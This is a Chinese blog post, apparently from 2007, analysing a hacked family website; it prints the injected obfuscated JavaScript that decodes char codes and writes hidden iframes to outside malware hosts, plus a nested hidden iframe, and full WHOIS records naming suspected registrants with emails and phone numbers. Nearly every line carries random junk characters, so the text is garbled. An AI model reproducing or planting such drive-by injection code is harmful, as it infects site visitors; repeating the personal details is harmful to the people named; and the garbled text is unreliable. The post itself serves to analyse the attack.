首发在我的博客里面，
Z(c
SM DJgM>&Y6, http://www.areway.cn/?p=175 C(v'7H{4cW ~y"R{-%uS !{CIP`P1 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Zf}2c8Vc4 9&=%shOc+x <script>t=’60,105,102,114,97,109,101,
NR(rr. 32,115,114,99,61,104,116,116,112,58,47,47,
JUA%l 102,114,101,101,46,117,45,117,117,117,46,99,
#&IrCq+ 110,47,101,114,114,111,114,46,104,116,109,
%A~. NNbS 32,119,105,100,116,104,61,49,48,48,32,104,
xj U0& 101,105,103,104,116,61,48,62,60,47,105,102,
PSu]I?WF 114,97,109,101,62′;
K/C } t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
_ymSo`Iv R aC1 x t( <script>t=’60,105,102,114,97,109,101,32,115,
-u%o) ;B 114,99,61,104,116,116,112,58,47,47,102,114,
}0E@eL 101,101,46,117,45,117,117,117,46,99,110,47,
T+P{,, a/] 101,114,114,111,114,46,104,116,109,32,119,
c/bT5TIEWs 105,100,116,104,61,49,48,48,32,104,101,105,
]wV\=m?z& 103,104,116,61,48,62,60,47,105,102,114,97,
"gI-S[ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Ja*,ht(5 document.write(t);</script>
l2Py2ZI-b EB+4]MsD <html xmlns=”
XU}i<5 http://www.w3.org/1999/xhtml D&mPYxXL “>
1iR\M4?Frf <head>
F'{ T[MA <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
jzDPn<WQ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
fy>3#`T- <title>首页 - 爱生活家庭网
6I=d0m.io 4xs>X7 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
UVi9}zr 转换字符串后的大概内容是（谁点击后果自付）：
>/C,1}p[ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
`ZC -lAY ]nIVP 查询玉米u-uuu.cn的详细信息：
O>rz+8 T Domain Name: u-uuu.cn
2g) q
( ROID: 20070901s10001s64972306-cn
T^|6{ S\ Domain Status: ok
i0x[w>\- Registrant Organization: 王雷
x51p'bNy Registrant Name: 王雷
cru&nH*O^ Administrative Email:
czlovexs@126.com dXt@x8E Sponsoring Registrar: 北京万网志成科技有限公司
#CeWk$)m Name Server:ns.yovole.com
q}JP;p(# Name Server:ns1.yovole.com
UG}"OBg/ Registration Date: 2007-09-01 17:54
/WAOpf5 Expiration Date: 2008-09-01 17:54
) { "}bMf 最后PING了一下地址 都没有什么….
S f`?j i2O$oHd 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
EJ:2]!O <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
,`ehR6b <script language=”javascript” src=”
=cR=E{20 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script z*^vdi0 >
Z79Y$d>G<E 这个玉米应该有可能是木马作者的：
< m`Os2# foafau.info的详细信息：
c&L|e$C] Access to INFO WHOIS information is provided to assist persons in
ug`Jn&x! determining the contents of a domain name registration record in the
U3>ES" N Afilias registry database. The data in this record is provided by
''EF h&F Afilias Limited for informational purposes only, and Afilias does not
5Obv/C guarantee its accuracy. This service is intended only for query-based
=WFG[~8 access. You agree that you will use this data only for lawful purposes
ve/|"R B and that, under no circumstances will you use this data to: (a) allow,
^''3}<Ep enable, or otherwise support the transmission by e-mail, telephone, or
)Oj%3 facsimile of mass unsolicited, commercial advertising or solicitations
*zPz)3; to entities other than the data recipient’s own existing customers; or
(T GG?V (b) enable high volume, automated, electronic processes that send
j =b-Y queries or data to the systems of Registry Operator, a Registrar, or
YQfQ[{kp Afilias except as reasonably necessary to register domain names or
+JFE\>O modify existing registrations. All rights reserved. Afilias reserves
_vE[TFy the right to modify these terms at any time. By submitting this query,
SC0_ h(zb, you agree to abide by this policy.
u@[JX1&3"n Domain ID:D22418703-LRMS
]:]w+N%7 Domain Name:FOAFAU.INFO
n<7R6)j6 Created On:20-Nov-2007 16:05:42 UTC
/kd6Yq(y Last Updated On:20-Nov-2007 16:05:44 UTC
? m.Ry Expiration Date:20-Nov-2008 16:05:42 UTC
]M9r<x* Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
` >}e 5 Status:CLIENT DELETE PROHIBITED
I 9r> 3? Status:CLIENT RENEW PROHIBITED
&f>1/"lnd\ Status:CLIENT TRANSFER PROHIBITED
]u O|Y LWp Status:CLIENT UPDATE PROHIBITED
DKf: 0E8 Status:TRANSFER PROHIBITED
8 =<&9TmE Registrant ID:GODA-040110615
Jro%zZle Registrant Name:liu hong
*[['X%f Registrant Organization:
*e-+~/9~ Registrant Street1:beijing
tJY3k$YX Registrant Street2:
3 /((7O[ Registrant Street3:
a<`s'N1G Registrant City:beijing
+~\c1|f Registrant State/Province:
Bso3Z ^X. Registrant Postal Code:100000
mo3HUXf}8 Registrant Country:CN
.EoLJHL
} Registrant Phone:+86.860108888777
B mxBbg Registrant Phone Ext.:
3DO
^vV Registrant FAX:
~~'UQnUN4 Registrant FAX Ext.:
Va m4/6 Registrant Email:bbbshiji@163.com
R k).D 6 Admin ID:GODA-240110615
L 2
tSKw~ Admin Name:liu hong
V lQaT7Q Admin Organization:
aC2\C=ru_ Admin Street1:beijing
5 }t}Wc8 Admin Street2:
o=VDO,eS Admin Street3:
${F] N } Admin City:beijing
;4 O N Admin State/Province:
Ui`Z>,0sFi Admin Postal Code:100000
r/vRaOg>X Admin Country:CN
`by\@xQ) Admin Phone:+86.860108888777
AGxG*Ku Z Admin Phone Ext.:
&qP&=( $ Admin FAX:
36U
z fBa Admin FAX Ext.:
Zxwcj(d Admin Email:bbbshiji@163.com
? xuhN
G@ Billing ID:GODA-340110615
3o=K?eOdg Billing Name:liu hong
,D`iV| ( Billing Organization:
5L}qL?S`x| Billing Street1:beijing
eD4o8[s Billing Street2:
sSMcF[]@2I Billing Street3:
5 5_#?vw Billing City:beijing
^s p+ sr : Billing State/Province:
(ft8,^=4 Billing Postal Code:100000
Xn'{g Billing Country:CN
/ b_C9'S Billing Phone:+86.860108888777
9_z u* Billing Phone Ext.:
Sb&[V>!2^ Billing FAX:
$i+
1a0%n Billing FAX Ext.:
DhwFD8tT Billing Email:bbbshiji@163.com
<QyJJQM Tech ID:GODA-140110615
.'y] Ea Tech Name:liu hong
(gv1f Tech Organization:
Xk_xTzJ Tech Street1:beijing
-4&SYC w Tech Street2:
jQp7TdvLE$ Tech Street3:
Lii,L} Tech City:beijing
\WnI&nu Tech State/Province:
rVx%"_'*- Tech Postal Code:100000
n'yC- ; Tech Country:CN
PyD'lsV
Tech Phone:+86.860108888777
S&A, Q' Tech Phone Ext.:
X/_e#H0
Tech FAX:
Jbud_.h9 Tech FAX Ext.:
&!uN N|W Tech Email:bbbshiji@163.com
Efm37Kv5l Name Server:NS27.DOMAINCONTROL.COM
4,!S ?:7 Name Server:NS28.DOMAINCONTROL.COM
U}55;4^ LX Name Server:
.~+I"V{y F Name Server:
CF`tNA3fxm Name Server:
`,mE
'3& Name Server:
]OE{qXr{ Name Server:
#- ioLt% Name Server:
J
00%,Ju_ Name Server:
2Rc'1sCth- Name Server:
H B+\2jEE Name Server:
<n iq* Name Server:
%t&5o>1C Name Server:
E>tlY&0[$ ;F@N2j#
接着下载每个文件里面的代码：
U5;
D'G 一步一步看..
t> J 43 
4#$~ gTc@ 
m L#-U)?F 
sjpcz4|K 
_cqB p7 
c7mIwMhl~ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
